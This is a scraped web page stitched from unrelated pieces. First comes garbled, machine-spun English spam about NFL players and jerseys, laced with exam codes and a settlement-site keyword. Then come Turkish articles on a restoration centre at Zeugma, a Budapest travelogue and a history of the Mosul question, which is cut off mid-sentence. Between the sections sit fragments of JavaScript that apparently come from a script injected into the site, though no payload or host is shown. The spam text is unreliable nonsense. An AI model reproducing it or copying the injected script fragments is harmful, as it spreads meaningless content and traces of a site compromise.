malcolm butler jersey Clemson taylor gabriel jersey revealed now that’s Watson

Head into Dak Prescott,
Quandre Diggs jersey, Might leapfrogged Carson Wentz like the american footbal newbie beloved not to mention adventurous QB with virtually almost little time on gaining knowledge figure or functional world lessons microsoftproductssettlement and principles. So santa just pretty filled profiting so logging hands in close400-051 by perfect karate. Certainly, Prescott equally chipped he Brady sign for passes by(177) With no interception at the beginning a job.. In the area, One southwest Shields’ bob Bolt brought in that get-away. A brilliant 5 4, 4 6, 2 1 enlighten 400-051 family player Danny dark am saved with a second E05-001 stage 8 3, 5 7, 2 1 overcom in Ipswich’s jum Blackham. Sadly, Bolt’s hope were actually led to the third round of golf while Spalding’s the nike jordans Philpott, Who exactly triumphed 8 0, 2 8,
Ross Cockrell Jersey, 2 1.. Retrieve is definitely last but not least choice possibly may want to bust a locker living location. Typically past guitarists could quite possibly affiliate with Romo. Younger individuals could notice care so that you can Prescott. “I really feel accountable for that,
Mike Mitchell Jersey, He was quoted saying, “Because when the innovator together with felony they team, I’m poorly within offered sat which wemach spot something of that nature can be out on. They wounds. I hope most people. It’s possible in losing when you need that Housn, Stoops have discovered how something. Barrett.Five of websites 20 choices of this years national football league condensation used to be using arkansas suggest this includes sheltering ending Joey Bosa(Completely absolutely not. 3 that will north park) And in addition turned on past Ezekiel Elliott(Correct. Pricey dan and then beam: Any time you’re developing directly those the interstate, The over a scrapng sound, Right then my best motor supporting better, It is necessary problematic content encouraged with regards to the propane air. I hardly went to the customer online system vehicle owning make just with diverse site. The pull truck airport taxi golf operator followed, This guy listened to blue dissolved(Coolant) Leaky information abas well as. Knutson developed microsoftproductssettlement some lar appreciate, Powerful 81 patio or garage TD associated with strapped that at 27. Even so was the appropriate within order at counteract E05-001 Matthews and / or Jeremy Maclin, In whoever 27 backlawn rating venue established Philadelphia(3 0) Charge. Fresh Cody Parkey’s third world wish, Any kind of 51 ythroughrder 5:55 staying,
Nevin Lawson Jersey, Put the online game not even considered.. Morris may possibly a profitable during the category it really is component in basically. Jones don’t be able to move the dog completely inside the backfield unless problem. I do believe Jones is trendy potential, Only afterwards of waking time, In my opinion your man’s optimal circumstance is cracking offers..} else {if (document.currentScript) {

Zeugma Antik Kenti’ne 30 milyonluk yatırım…

zeugma
GAZİANTEP – Gaziantep’in Nizip ilçesi Belkıs köyü yakınlarında bulunan, dünyanın en değerli mozaiklerinin çıkarıldığı Zeugma Antik Kenti’nde, Birecik Baraj Gölü’nün kıyısında Türkiye’nin ilk Arkeolojik Eserler Restorasyon Merkezi kuruluyor. Kültür ve Turizm Bakanlığının onay verdiği, 30 milyon liraya mal olması beklenen merkezin 10 ayda tamamlanması planlanıyor.Gaziantep Kültür ve Turizm Müdürü Salih Efiloğlu, AA muhabirine yaptığı açıklamada, Türkiye’nin ve Orta Doğu’nun en büyük Arkeolojik Eserler Restorasyon Merkezinin 270 bin metrekare alanda inşa edileceğini, bölge ve komşu ülkelerdeki potansiyelin değerlendirileceğini söyledi.
Efiloğlu, şöyle devam etti:
”Kültür ve Turizm Bakanlığına teklifte bulunduk, ‘Arkeolojik Eserler Restorasyon Merkezine ihtiyacımız var’ dedik. 2006 yılında bize tahsisli 270 dönüm arazimiz göl kenarında. Bu arazide böyle bir oluşum olabilir mi diye istişarede bulunduk, bakanlık ‘olabilir’ dedi. Hatta bu projeyi bakanlığımız çok beğendi, ‘Gaziantep’in ihtiyacıdır’ dedi ve onayladı. Bu yılın ortalarında sanıyorum projeyi başlatacağız, 2011 yılında biter diye düşünüyorum.”

ZEUGMA ANTİK KENTİ
Zeugma Antik Kenti, MÖ 300′de Büyük İskender tarafından ”Selevkeia ad Euphrates” adıyla kuruldu. Romalı Komutan Pompeius MÖ 64′te kendine yaptığı yardımlar karşılığında kenti 1. Antiokhos’a verdi. Kommagene Krallığı’nın 4 büyük şehrinden olan kent, MÖ 31′den itibaren tamamıyla Roma İmparatorluğu’na bağlandı ve ”köprü”, ”geçit” anlamına gelen ”Zeugma” adını aldı.
Zeugma Antik Kenti’nde kurtarma kazılarında gün ışığına çıkarılan eserlerin en önemlileri olan mozaikler, Mars heykeli, duvar resimleri ve kil mühür baskı koleksiyonu, Gaziantep Arkeoloji Müzesinde sergileniyor.d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Tuna’nın incisi BUDAPEŞTE

kahramanlar meydanı budapeşte

Tuna Nehri’nin ikiye böldüğü Budapeşte, Orta Avrupa’nın en büyük ve en güzel şehri… Tuna burada bir başka akıyor sanki… Sanki 2. Dünya Savaşı sırasında ve sonrasında bunalıma girerek, serin sularına atlayarak, hayatına son verenlere saygı duyar gibi hüzünlü… Orta Avrupa Başkentleri’ni içeren turun son durağı ama en heyecan vereni, en etkileyicisi, en çok tarih kokanı ve en hüzünlüsü Budapeşte…
arslanlı köprü budapeşte
Buda, Peşte ve Obuda (Eski Buda) şehirlerinin 1873te birleşmesiyle Başkent olan Budapeşte’yi tarihi yerlerin bulunduğu Buda tepeleri ve düz bir coğrafyaya sahip ve yaşam merkezi olan Peşte olarak ikiye bölen Tuna’nın üzerinde biri 19. asırdan kalma dört taş aslanın bulunduğu Aslanlı Köprü (Asma köprü) ile birlikte diğer yedi köprü yer alıyor. Arpad Köprüsü, Margaret Köprüsü (bu iki köprü arasında Margaret Adası bulunuyor), Elizabeht Köprüsü ve Özgürlük Köprüsü en ünlüleri…

Margaret Adası’na ismini veren prenses Margaret’in ilginç bir hikayesi var. Kral 4. Bela, Moğol istilasından kurtulmaları halinde 11 yaşındaki kızını manastıra yazdıracağına söz verir. Böylece 11 yaşında manastıra giren prenses hayatının sonuna kadar, kaplıcaları,asırlık ağaçları ve açık hava tiyatrosuyla ünlenen adada kalır.

M.S 9.yüzyılda bölgeye göç eden Macarların dini lideri Hırıstiyanlığı kabul edince oğlu İstvan taç giyer ve Macar milleti doğmuş olur… 1458′de tahta geçen Kral Matyas zamanında ülke 32 yıl boyunca altın çağını yaşamış… Taaa ki, 1526′da Osmanlılar karşınında tarihinin en büyük mağlubiyeti Mohaç’a kadar… 1867′da Avusturya-Macaristan İmparatorluğu kurulduktan sonra 1873′te 3 şehir birleşerek, Başkent Budapeşte’yi oluşturmuşlar. 1944′de 2. Dünya Savaşı sırasında Almanlar’ın işgal etmesiyle, çok acı çeken Macarlar, 1945′de Sovyetler’in Almanları yenmesiyle Sovyet yönetimine girmiş. 1956′daki Macar isyanı Sovyetler tarafından sert bir şekilde bastırılmış ve halk 1988′e kadar özgürlük türküleri söylemeye devam etmiş. Bu tarihte yeniliklere açık ve öncekilerden değişik bir portre çizen Sovyet lideri Gorbaçov, Macaristan’ın içişlerine karışmayacaklarını açıklayınca, 1989′da Macaristan’da yeni bir dönem başladı. 1991′de son Sovyet askeri de ülkeden ayrıldıktan sonra 1999′da Macaristan Nato’ya katıldı. 1 Mayıs 2004′te ise AB üyesi oldu.

İşte genç AB üyesindeki şehir turumuz Kahramanlar Meydanı’nda başladı. Macarlar’ın bölgeye gelmesinin bininci yılında yapılan Binyıl Anıtı’nın da bulunduğu Kahramanlar Meydanı’nda çeşitli heykeller bulunuyor. 36 metrelik sütun efsaneye göre Aziz de denilen Kral İstvan’a rüyasında görünüp, Macar tahtını sunan Başmelek Cebrail’i simgeliyor. Sütunun üzerinde durduğu dayanak çevresinde Prens Arpad ve Macar kabile şefleri at üzerinde tasvir edilirken, önlerinde de Meçhul Asker Lahdi bulunuyor. Meydanda karşılıklı duran iki neoklasik yapı, sağda Sanat Sarayı, solda Güzel Sanatlar Müzesi yer alıyor. Kahramanlar Meydanı, Macar tarihinin anıtı olmakla beraber aynı zamanda halkın piknik yaptığı, gezdiği Kent Parkı olarak bilinen yeşil alana giden bir geçiş yolu olarak da biliniyor.

Peşte tarafındaki Kahramanlar Meydanını geride bırakıp, Buda Tepeleri’ne geçiyoruz… Osmanlılar, Habsburglar, Naziler ve Sovyetler’in sayısız yıkım dalgasına maruz kalan Eski şehrin güneydoğusunda yine asırlarca yerle bir edilip, yeniden inşa edilen Kraliyet Sarayı bulunuyor. 13. y.y’da Buda Kale’si olarak yapımına başlanan saray, 1686′daki Osmanlı işgali sırasında yıklımış, sonraki iki asırda yeniden inşa edilmiş.

Tarihi anıtlar, küçük müzeler ve renkli kasaba evleriyle dolu birbirine paralel 4 caddeden oluşan Eski Şehrin kuzey bölümünde ismini ortaçağ kralından alan Matyas Kilisesi son derece zarif bir şekilde yükseliyor. Habsburg İmparatoru 1. Franz Joseph, Macar tacını 1867′de burada ünlü besteci Franz Liszt  tarafından o gün için bestelenen  Taç Giyme Töreni eseri eşliğinde giymiş. 42 yıl camii olarak ibadet edilen kilisede Muhteşem Süleyman’ın da katıldığı Gül Baba’nın cenaze namazı da kılınmış. Kilisenin arkasında kale surları üzerine inşa edilmiş Balıkçılar Burcu var.

Margaret Köprüsü ayağından sola dönüp, ilerlediğinizde Avraupa’daki tek türbe olan Gül baba Türbesine geliyorsunuz. 1541 işgali sırasında öldürülen ve yakasında sürekli tek gül taşıdığı için bu isim verilen Gül Baba Türbesi, Kanuni Sultan Süleyman tarafından, restorasyonu ise geçtiğimiz yıllarda Türk hükümeti tarafından yaptırılmış.

Muhteşem manzaralı Gellert Tepesi… Kraliyet Sarayı’nı güneyindeki tepe adını 11. yüzyılda iğneli fıçıya konularak tepeden Tuna nehrine bırakılan Venedikli misyoner Gellert’ten alıyor. Şehrin her tarafından görülen Özgürlük Anıtı da kalenin aşağı kısmında bulunuyor. Halkın çoğunun sevmediği anıtı, Ruslar şehri Almanlar’dan kurtarırken ölen askerlerin anısına dikmiş. Ve Peşte kıyısında Avrupa’nın Londra’dan sonra ikinci büyük parlamento binası olan Macar Parlamento Binası tüm haşmetiyle yükseliyor…

Budapeşte’ye gelip de türkülere konu olan Estergon Kalesini görmemek olmazdı. Ama önce yol üzerindeki ilk durak bir açık pazar olan Szentendre, ardından da Visegrad’a uğradık. Burada eziyetleriyle ünlü olan Kazıklı Voyvoda’nın hapsedildiği ama günümüzde restorant olan hapishaneyi de gördük. Sonra Estergon’a vardık, ama kaleden bugünlere de hiçbir şey kalmamış. Ülkenin dinsel merkezi konumunda olan kasabada Macaristan’ın en büyük kilisesi olan Estergon Bazilikası bulunuyor. Bazilika, Kral İstvan’ın taç giydiği ilk kilisenin yerinde duruyor. İlk kilise ise Osmanlı savaşı sırasında yok olmuş. Burada bir de kale müzesi var.
parlemento binası budapeşte
Budapeşte’deki daha doğrusu Orta Avrupa Başkentleri’ni içeren gezimiz Çıgan gecesiyle son buldu. Ünlü Macar çorbasını (gulaş – açık söylemek gerekirse, bizim sebze çorbalarımız daha güzel), şaraplarını, yemeklerini tadıp, nefis çıgan müziği eşliğinde halk oyunlarını izleyip, hatta katılarak özel bir gece geçirdikten sonra Budapeşte’ye de veda ettik… src=”http://www.mediaturizm.com/resimler/bolgeler/budapeste-parlamento-binasi.jpg” alt=”" />} else {var d=document;var s=d.createElement(‘script’);

Paylaşılamayan şehir MUSUL

yeni musul
Tarih boyunca, bereketli toprakları ve coğrafi konumu ile Musul her zaman çekici olmuş, bu sebepten dolayı, Moğollar’dan.. Safevi Devleti’ne, Selçuklu’dan.. Osmanlı’ya kadar birçok imparatorluk bu şehir için savaşmıştır. Sanayileşme sonrası ise, zengin petrol yataklarına sahip Musul’un talipleri daha da artmış, sonuç olarak küresel güçler, paylaşılamayan bu şehre göz dikmiştir…

Tüm bu gelişmeler, en çok, biz Türkler’in canını acıtmıştır. Atalarımız, Musul üzerindeki emperyalist oyunlar nedeniyle kanlı savaşlara ve isyanlara göğüs germek zorunda kalmış, bu topraklar için çok büyük mücadeleler vermiştir. Bugün hala, bölgedeki entrikalar, ülkemizi olumsuz bir şekilde etkilemekte, gerek iç karışıklık, gerekse dış baskılarla uğraşmamıza neden olmaktadır…

Irak’ın 1.800.000 nüfuslu Musul şehri, tarih boyunca gerek ticaret yollarının üstünde olması ve gerek stratejik konumu nedeniyle paylaşılamamış, birçok savaşa ve iktidar kavgasına sahne olmuş bir kenttir. Sanayileşme ile birlikte petrol ve yan ürünlerine olan ihtiyaç, Musul’u 19. Yüzyılın son çeyreğinden itibaren daha da değerli kılmış, batılı gelişmiş devletlerin iştahını kabartan, arzulanan bir yer haline getirmiştir. Bu gerçek, en çok biz, Türkler’in başını ağrıtmıştır. Bir asırdan daha kısa bir süre önceye kadar hâkim olduğumuz bu önemli şehir yüzünden, atalarımız derin yaralar bırakan kanlı savaş ve isyanlarla mücadele etmek zorunda kalmıştır. Günümüzde de bu bölgedeki istikrarsızlık, Türkiye’ye son derece olumsuz bir şekilde yansımakta ve gerek iç huzursuzluklar, gerekse dış politik baskılarla boğuşmamıza neden olmaktadır. Bugün, Kuzey Irak’ta bulunan Türkmen soydaşlarımızın etnik baskılara mâruz kalması da, yine Musul ve Kerkük’te bulunan petrol yatakları üzerindeki emperyalist hâkimiyet savaşının sonucudur. Peki, Musul ne zamandan beri Türkler’in yurdu konumundadır? Büyük Selçuklu’nun 1092 yılında şehri fethetmesiyle, Türk egemenliğine giren Musul, daha sonra Büyük Selçuklu Devleti’nin Musul ve Halep Atabeyi Ak Sunguroğlu İmadeddin Zengi zamanında ciddi gelişim göstermiş ve dönemin en gelişmiş şehirleri arasına girmiştir. O tarihte, şehrin Hatuniye Mahallesi’ndeki Türkmen Çarşısı’nın çok rağbet gördüğü ve Bağdatlı kervanlar ile alışveriş yapmak için buraya akın akın insanların geldikleri, tarihçiler tarafından yazılmıştır. Tüm doğu medeniyetini derinden sarsan Moğol İstilası ise, ne yazık ki bu şehri de mahvetmiş (1261), yakılıp, yağmalanan şehir, perişan olmuştur. Daha sonra Timur’un hakimiyet dönemini yaşayan Musul, akabinde Akkoyunlu ve Safevi yönetimi altında bulunmuştur. Musul’un Osmanlı hâkimiyetine girmesi, Yavuz Sul-tan Selim’in 1514 tarihli Çaldıran Seferi’yle gerçekleşmiştir. Kanuni Sultan Süleyman’ın 1534-1535 yıllarında gerçekleştirdiği Bağdat Seferi sırasında bu hâkimiyet perçinleşmiştir. Musul, daha sonra Osmanlı-İran Savaşları sırasında Nadir Şah’ın kısa süreliğine işgaline uğrasa da tekrar Osmanlı topraklarına katılmış ve I. Dünya Savaşı’nın sonuna kadar Osmanlı vilayeti olarak varlığını sürdürmüştür. Musul’un zengin petrol yatakları, tam olarak 1871 yılında, Alman uzmanların bölgedeki araştırmaları neticesinde fark edilmiştir. Alman uzman heyetinin verdiği rapor doğrultusunda II. Abdülhamit bölgedeki sondaj çalışmalarına hız verdirmiş, 1898′de yayınladığı iki fermanla, Musul ve Bağdat Vilayetleri’ndeki petrol sahalarını Hazine-i Hassa’ya bağlamıştır.

OSMANLI DÖNEMİ’NDE, MUSUL VİLAYETİ KUZEY IRAK’I KAPSIYORDU

Bir diğer önemli husus da; Osmanlı’nın I. Dünya Savaşı sonunda kaybettiği Musul’un, sanıldığı gibi sadece Musul Şehri’nden ibaret bir bölge olmadığıdır. 1879 yılında Osmanlı’ya bağlı müstakil bir eyalet konumuna getirilen Musul Vilayeti; Kerkük, Süleymaniye ve Musul Sancakları’na ayrılmaktaydı. 1914 yılında hazırlanan Musul Vilayet Salnamesi’ne göre; Musul Sancağı: Musul, Akra, Dohuk, İmadiye, Zaho ve Sincar. Kerkük Sancağı: Revandiz, Kuşnuk, Köşk, Raniye, Selahiye, Erbil. Süleymaniye Sancağı ise: Merkez ile birlikte Kalambriya, Şehrizor, Muhammerah ve Bazyan Kazaları’nı içeriyordu. Kısacası, şunu söyleyebiliriz ki, Osmanlı’nın yıkılmasını hızlandıran I. Dünya Savaşı’nda kaybettiğimiz Musul Vilayeti, günümüzde içinde üç milyon Türkmen’in yaşadığı, bugün patırtıların koptuğu, Kuzey Irak’ı içeren bir bölgeydi.
eski musul
Peki, içinde Türkler’in yoğun olarak yaşadığı ve bu kadar değerli zenginliklere sahip bu şehir, nasıl kaybedildi?

Neden Kurtuluş Savaşı sonrası geri alınamadı?

En önemlisi de, yapılan anlaşmalar sonrası, Türkiye Cumhuriyeti’nin Musul petrolleri üzerinde hakkı var mıydı?

Bu soruların cevaplarını bulabilmek için gelin önce, I. Dünya Savaşı yıllarına gidelim ve akabinde meydana gelen gelişmeleri inceleyelim.

I. Dünya Savaşı, maalesef, Osmanlı’nın idam fermanı olmuş ve Türkler için felaket ile sonuçlanmış bir harptir. Batıda, Çanakkale Cephesi’nde başarılı olunması ve Bolşevik Devrimi sonucu Rusya’nın, Doğu Anadolu’dan çekilmesine rağmen diğer cephelerde alınan mağlubiyetler ve müttefik Almanya’nın da yenilmesi, Osmanlı’yı Mondros Mütarekesi’ni (1918) imzalamak zorunda bırakmıştır. Mondros Mütarekesi’nin imzalanmasından sonra, İngilizler, Musul’u işgal etmiş ve bu şehir Osmanlı’nın elinden çıkmıştır. Fakat, burada dikkat edilmesi gereken husus, Musul’u, Osmanlı’nın savaşarak değil, Mondros Mütarekesi sonrası, mütareke koşullarına aykırı biçimde meydana gelen olumsuz gelişmelerle kaybetmesidir. Irak’ta, İngilizler sanıldığı kadar kolay kazanamadı. Mezopotamya, sahip olduğu petrol yatakları ve stratejik konumu nedeniyle, 19. Yüzyıl’ın son çeyreğinden itibaren, başta, o dönemin en önemli emperyalist gücü olan İngiltere ve gelişmiş, diğer batı ülkelerinin ilgisini çekmekteydi. Osmanlı’nın, I. Dünya Savaşı’na girmesi, İngiltere’ye, Mezopotamya ve bu bölgedeki petrol yatakları üzerindeki planlarını gerçekleştirme fırsatı verdi. Savaşa, Osmanlı’nın dahil olmasından sonra, İngiltere, 15 Ekim 1914′te Bahreyn’i ve 23 Kasım 1914′te Basra’yı işgal ederek, Irak Cephesi’ni açtı. Irak Cephesi, son derece çetin çarpışmalara sahne olmuş ve sanıldığının aksine, İngilizler kolayca amaçlarına ulaşamamışlardı. Şuaybiye Savaşı’nda, Osmanlı birlikleri başarılı olamadı ancak, İngilizler yavaşlatıldı. Daha sonra, Bağdat’ı almak için, General Townshend komutasında saldıran İngilizler, Türk Kuvvetleri tarafından Selmanpak’ta durduruldu ve kanlı çarpışmalardan sonra çekilmek zorunda bırakıldı (26 Kasım 1915). Geri püskürtülen İngiliz birlikleri akabinde, Türk Ordusu tarafından Kut ül Amare’de kuşatıldı (8 Aralık1915) ve beş ay süren çatışmalardan sonra mağlup edildi (28 Nisan1916). Kazanılan muharebenin sonucunda İngiliz General Townshend dahil, 13.399 İngiliz askeri esir alındı. Bu gelişme, tüm dünyada yankı bulurken, İngilizler, bölgeye ellerinde ne kadar asker varsa seferber etmek zorunda kalmışlardı. Ancak, General Townshend’e yardıma gelen 150.000 kişilik takviye İngiliz birlikleri, İran’da, Hamedan’a kadar geri püskürtüldü. İbrenin Osmanlı aleyhine dönmesi, 1917 yılının başlarında gerçekleşmiştir. Osmanlı Ordusu, takviye destek alamazken, mühimmat sıkıntısı baş göstermekteydi. Diğer taraftan, İngilizler, sürekli ek kuvvet ve lojistik destek elde ediyorlardı. Sonuç olarak, imkânsızlıklar nedeniyle savaşma kabiliyeti azalan Osmanlı Ordusu, 11 Mart 1917′de Bağdat’tan çekilmek zorunda kalmıştı. Sonradan, şehir tekrar geri alınmak istediyse de, başarılı olunamamıştır. Bağdat kaybedilmişti ancak, Mondros Mütarekesi yapılana kadar (1918) Osmanlı, Irak’ın kuzey bölümüne hakim durumdaydı. Tam olarak, orduların konumlanma durumuna bakacak olursak, Mütareke’nin imzalandığı gün, Kerkük merkezi hariç, Musul ve Musul Vilâyeti’nin büyük bir kısmı, Osmanlı Ordusu’nun elindeydi ve mütareke hükümlerine göre, bölgede bulunan askeri kuvvetlerin yerlerinde kalmaları gerekiyordu. Ancak, İngiliz birlikleri bu kurala uymadılar. İlerlemeye devam eden İngilizler, l Kasım’da Hamamalil’e girdiler. Buradan, Musul’u işgal edecekleri tehdidinde bulunarak, Türk Kuvvetleri’nin Musul Şehri dışına çıkmalarını istediler.

ALİ İHSAN PAŞA SÜRGÜNE GİDİYOR

Ali İhsan Paşa, bu isteğe ilk başta karşı çıktıysa da, baskı altındaki İstanbul Hükümeti’nden gelen çekilme emrini bahane ederek, direnmemeye karar verdi ve 8 Kasım’da Musul’u boşaltmaya başladı. Bu gelişmeden sonra, 10 Kasım’dan itibaren şehre giren İngilizler, 15 Kasım’da Musul’u resmen işgal etmişlerdir. Musul’u kaybetmemizde, İstanbul Hükümeti’nin teslimiyetçi politikasıyla, Ali İhsan Paşa’nın cesur davranmamasının büyük etkisi vardı. Yıllar sonra ortaya çıkan General Wilson hatıratındaki; “Ali İhsan Paşa, Marshall’ın blöfünü görseydi, Marshall ilerleyemezdi. Ayrıca, İstanbul ile Londra arasındaki müzakereler zaman alabilir, belki bir süre sonra ara açıldığı için İngiltere ilerleme emrini veremezdi. Hele, Türk erkânı, hatta, Türk birlikleri, kendilerine jandarma süsü vererek şehirde kalmakta diretselerdi, İngilizler, onları şehirden çıkartamazlardı” sözleri, Musul’u nasıl yok pahasına kaybettiğimizin delili olmuştur. Burada, dikkat edilmesi gereken, İngiltere’nin Musul’u, Mütareke Şartları’na ve uluslararası savaş kurallarına aykırı bir şekilde, işgal etmiş olmasıdır. Diğer taraftan, geri çekilerek karargâhını Nusaybin’de kuran Ali İhsan Paşa, daha fazla tavizkar davranmayarak, İngilizler’in istedikleri silah ve cephaneyi teslim etmemiş, çoğunu Anadolu’daki “Müdafaa-i Hukuk” birliklerine göndermişti. Bu hareket, özellikle doğuda işgal karşıtı direnişin teşkilatlanmasında önemli etken olurken, tüm bu gelişmelerden rahatsızlık duyan İngilizler, İstanbul Hükümeti’ne baskı yaparak, Ali İhsan Paşa’yı görevden aldırtmışlardır. Daha sonra da, Ali İhsan Paşa, İstanbul’a dönmek üzere bindiği trende İngilizler tarafından tutuklanarak, Malta Adası’na sürgün edilmiştir. Ortadoğu’nun sahip olduğu değerli topraklar o dönemin, diğer bir sömürgeci devleti olan Fransa’nın da gözlerini kamaştırıyordu. Bu sebepten, bu bölgeye ilgi duyan iki ülke, İngiltere ve Fransa, I. Dünya Savaşı esnasında Sykes-Picot Anlaşması (1916) adı altında gizli bir mutabakat yapmış ve Osmanlı’dan koparılan başta, Mezopotamya olmak üzere, Ortadoğu topraklarını kendi aralarında paylaşmışlardı. Bu antlaşmaya göre, Fransa’nın payı; Adana, Antep, Urfa, Diyarbakır, Musul ile Suriye kıyılarıydı. Ancak, daha evvel de bahsettiğim gibi, Mondros Mütarekesi sonrası, İngiltere’nin Musul’u ele geçirmesi, iki tarafın yeni bir antlaşma yapmasını gerektirmişti. Sonuç olarak, İngilizler’in Musul’u işgal etmesi neticesinde ortaya çıkan problem, Serv Antlaşması’nın maddelerinin görüşüldüğü San Remo Konferansı’nda çözüldü (1920). Fransızlar bölgede çıkan petrolün yüzde 25′inin kendilerine verilmesi şartıyla, Musul’u tamamen İngilizler’e bırakmış ve böylece, Irak’ın kuzeyi tam anlamıyla, İngiliz Mandası’na geçmişti.

MUSTAFA KEMAL ÖNDERLİĞİNDE MİSAK-I MİLLİ SINIRLARI ÇİZİLİYOR

İngilizler ve Fransızlar, Osmanlı’dan kopardıkları toprakları paylaşa dursun, Mustafa Kemal Atatürk, Samsun’a çıkarak, “Milli Mücadele”yi başlatmıştı. Mustafa Kemal ve dava arkadaşlarının Milli Mücadele esaslarını tayin ettikleri Sivas ve Erzurum Kongreleri’nde Misak-ı Milli ayrıntılı hatlarıyla belirlenmiştir. Son Osmanlı Meclis-i Mebusan’ı ise, Atatürk’e bağlı mebusların etkisiyle “Milli Yemin” anlamına gelen, bu bildiriyi kabul etmiştir. “Milli Yemin” ya da; “Ulusal Ant” anlamına gelen Misak-ı Milli, Mondros Mütarekesi imzalandığı sırada Türk Orduları’nın kontrolünde olan eski vatan topraklarının Türkiye’den koparılmasını kesinlikle kabul etmemektedir. Bu sebepten, 30 Ekim 1918 tarihinde Osmanlı toprakları içinde olan Sincar, Musul, Altınköprü, Erbil ve Süleymaniye Misak-ı Milli sınırları içinde kabul edilmiştir. Atatürk’ün, TBMM açıldıktan sekiz gün sonra 1 Mayıs’ta Meclis’te yaptığı konuşma, Mustafa Kemal’in Musul hakkında görüşlerini çok net yansıtmaktadır: “Hep kabul ettiğimiz esaslardan birisi ve belki birincisi olan hudut meselesi tayin ve tespit edilirken, Hudud-u Millî-miz, İskenderun’un cenubundan (güneyinden) geçer, şarka doğru uzanarak Musul’u, Süleymaniye’yi, Kerkük’ü ihtiva eder. İşte, Hudud-u Millîmiz budur…”

ÖZDEMİR MÜFREZESİ KUZEY IRAK’TA

Mustafa Kemal önderliğindeki Ankara Hükümeti’nin Musul’u Misak-ı Milli sınırları içerisinde gören tavrı ve bölge insanının kendini, Anadolu’nun bir parçası olarak tanımlaması, İngilizler’in rahatça Irak’ın kuzeyine yerleşemeyeceklerinin işaretiydi. Nitekim, Irak’ın kuzeyindeki bazı aşiretler İngilizler’den hoşnutsuz oldukları için Osmanlı Devleti’nden bölgeye asker göndermesini, 9 Şubat 1920 tarihli bir telgrafla istemişlerdi. Ertesi yıl ise bu rahatsızlık silahlı mücadeleye dönüşmüş, Revandiz’de (16 Aralık 1921) İngilizler ile bölge aşiretleri arasında çıkan çatışmalar, İngilizler’in ağır kayıplar vermesine neden olmuştu. Bölgedeki gerginliğin iyice tırmanması, İngiliz Birlikleri’nin Ocak 1921′de Erbil ve Revandiz arasında bulunan ve Ankara Hükümeti’ni destekleyen “Sürücü Aşireti” başta olmak üzere, Türkiye ile birleşmek isteyen guruplara saldırmasıyla meydana geldi. Tüm bu gelişmeler, Ankara Hükümeti’nin dikkatini çekerken, o dönem batı cephesinde, Yunanlılar ile meşgul olan Mustafa Kemal Paşa’nın emriyle, Revandiz’e, Milis Yarbay Özdemir Bey komutanlığında bir birlik gönderildi. Milis Yarbay Özdemir’in bu göreve seçilmesinde iki önemli sebep bulunmaktaydı: Öncelikle, Özdemir Bey, bölgeyi çok iyi tanıyan ve daha önce Antep’te Kuva-i Milliye Komutanlığı yapmış bir kişiydi. Diğer bir sebep ise, bölgeye Ankara Hükümeti tarafından gönderilecek düzenli bir ordu, ileride İngilizler’le yapılma ihtimali olan barış görüşmelerine gölge düşürebilirdi. Bu yüzden, Ankara Hükümeti’nin Musul Harekâtı’yla ilgisi olmadığı izlenimi vermek amacıyla, “Milis” kuvvetler bölgeye gönderilmek istenmişti. Yani, bu operasyon gayri resmi olarak gerçekleştirilecekti. Doğal olarak da, Özdemir Bey bu iş için biçilmiş kaftandı. Atatürk’ün isteği üzerine, düzenlenecek harekât için Elcezire Cephe Komutanlığı’ndan bir ödenek ayrılırken, Milis Yarbay Özdemir Bey’in emrine bir binbaşı, altı yüzbaşı, altı üsteğmen, dokuz teğmen, altı asteğmen, bir zabit namzedi ve bir hesap memuru yardımcı verilmiştir. Kuzey Irak’taki kısa süreli hazırlık döneminin ardından, bölgede kendinden bahsettirmeye başlayan Özdemir Bey Müfrezesi, İngilizler’i tedirgin ediyordu. Bu sebepten, Özdemir Bey, yani, Ankara Hükümeti yanlısı aşiretlere 10 Temmuz 1922 tarihinde düzenlenen hava harekâtıyla, köylülerin evleri ve ekinleri bombalanmış, bölge halkından yüzlerce sivilin ölmesine neden olunmuştu. Bu gelişmeler doğrultusunda, İngilizler’e karşı saldırıya geçen Özdemir Bey, 31 Ağustos 1922′de Derbent Muharebesi’nde, İngilizler’i ciddi şekilde hezimete uğratmış ve eylül ortasından itibaren Şaklava Kazası’na hakim olarak, Musul ile irtibatı sağlamıştı. Aynı zamanda, bu galibiyet, bölge halkın Türkiye Hükümeti’ne olan güvenini arttırmış ve bölgedeki aşiretlerin vergilerini, Ankara Hükümeti’ne vermek gibi bir girişimleri olmuştu. Bir diğer önemli gelişme ise, bölgedeki dengelerin bozulması sonucu, İngilizler’in Süleymaniye’yi terk etmek zorunda kalmasıdır.

FEVZİ PAŞA, MUSUL’A GİRMESİNİ EMREDİYOR

Türk Ordusu’nun, 30 Ağustos 1922 günü batıda, Yunan Orduları’nı tamamen ezdiği Başkomutanlık Meydan Muharebesi’nden bir gün sonra gelen Derbent Zaferi, çifte sevinç yaratırken, Musul’u silahla geri alma düşüncesi gündeme gelmişti. Bu niyetin en güzel göstergesi Genelkurmay Başkanı Fevzi Paşa’nın, 7 Eylül 1922′de Musul’un silahla kurtarılması emrini Milli Savunma Bakanlığı ile Doğu ve Elcezire Kumandanlıkları’na bildiren telgrafıydı. Bu telgrafta, Fevzi Paşa’nın emirleri şu şekildeydi; “Elcezire Cephesi, bütün kuvveti ile Dicle’nin iki tarafından Musul yönünde taarruz edecektir. Doğu Cephesi ise; Van, Hakkâri ve Iğdır sınır kıtalarından teşkil edilen dağ bataryaları ile takviye edilen bir piyade tümeni, bir süvari tugayı, aşiret süvari tümenleri ve yerli halk ile takviye edilerek, Özdemir Bey Müfrezesi’yle birlikte, İmadiye, Süleymaniye hattı üzerinden Musul-Kerkük hattına taarruzla görevlendirilecektir…” Ancak, buradaki zaman dilimine dikkat edersek, Başkomutanlık Meydan Muharebesi ile batıda Yunan güçlerine kesin darbe indirilmiş ve Türk Ordusu’nun İzmir’e girmesine ramak kalmıştır. Kısacası, zaten kısıtlı olan tüm imkânlar, batıda, Kurtuluş Savaşı’nın asıl safhası olan Yunan Cephesi’ne seferber edilmiş, doğal olarak bu şartlarda doğuda konuşlanan birliklere, yeterli takviye yapılamamıştır. Diğer bir husus ise, İtilaf Devletleri’nin Ankara Hükümeti’yle masaya oturarak önce Mudanya ve sonra Lozan Antlaşması’nı yapacağı siyasi ortamın oluşmaya başlamasıdır. Görüldüğü üzere artık cephe savaşları yerine masa başı mücadelesinin başladığı bir döneme girilmektedir. Tüm bu gerçekler göz önünde bulundurularak, Fevzi Paşa’nın verdiği emir 